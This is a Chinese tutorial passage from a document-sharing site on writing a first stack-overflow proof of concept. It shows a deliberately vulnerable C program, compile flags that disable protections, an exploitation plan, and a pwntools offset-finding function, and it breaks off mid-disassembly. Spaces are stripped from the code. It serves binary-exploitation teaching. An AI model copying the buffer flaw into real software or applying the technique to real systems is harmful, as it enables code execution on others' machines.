- 1、本文档共3页,可阅读全部内容。
- 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
编写的第⼀个POC代码
0x00Target
#includeassert.h
#includeunistd.h
intvuln()
{
//Definevariables
chararr[400];
intreturn_status;
//Grabuserinput
printf(Whatsyourname?\n);
return_status=read(0,arr,800);
//Printuserinput
printf(Hey%s,arr);
//Returnsuccess
return0;
}
intmain(intargc,char*argv[])
{
vuln();
return0;
}
这是⼀个⾮常标准的带有栈溢出漏洞的程序,编译与运⾏的条件如下:
虚拟机,Ubuntu18.04LTS,Kernel:4.15.0-45-generic
使⽤如下GCC指令编译,关闭PIE(Position-independentExecutable,指令位置⽆关可执⾏程序),关闭栈保护功能,启⽤栈可执⾏
功能。
gcc-g-no-pie-fno-stack-protector-zexecstack-ovuln2vuln2.c
利⽤这个漏洞的思路如下:
将shellcode通过标准输⼊写⼊arr[400]数组;
覆盖vulr栈帧保存的上⼀级函数的返回地址为arr[400]的起始地址;
当函数调⽤ret指令时,跳转到arr[400]执⾏shellcode。
0x01Fuzzing
使⽤pwntools中的cyclic⽣成cyclepyload,获取以下信息:
arr[400]到栈帧中返回地址保存位置的offset;
arr[400]的绝对地址,可以⽤vulr()栈帧的rbp和offset计算得到。
编写的Fuzzing程序如下:
deffind_rbp():
cycle_payload=cyclic(512,n=8)
clean_corefile(COREDUMP)
#Generatecoredump
p=process([VULR_BINARY])
p.sendline(cycle_payload)
p.wait_for_close()
#Analisecoredump
core=Coredump(COREDUMP)
clean_corefile(COREDUMP)
#FindRBPaddress,RBPaddressisequaltoRBPafterleaveq
returncore.rsp-8,cyclic_find(pack(core.rbp,64),n=8)
很多基于32位Linux系统讲解栈溢出的教程中采⽤根据EIP中存储的值来确定offset,但这个⽅法在x64系统中不适⽤。具体地,注意程序
⽣成的coredump⽂件:
(gdb)disas
Dumpofassemblercodeforfunctionvuln:
0x00000000004005c7+0:push%rbp
0x00000000004005c8+1:mov%rsp,%rbp
0x00000000004005cb+4:sub$0x1a0,%rsp
0x00000000004005d2+11:lea0x11b(%rip),%rdi#0x4006f4
0x00000000004005d9+18:callq0x4004b0puts@plt
0x00000000004005de+23
文档评论(0)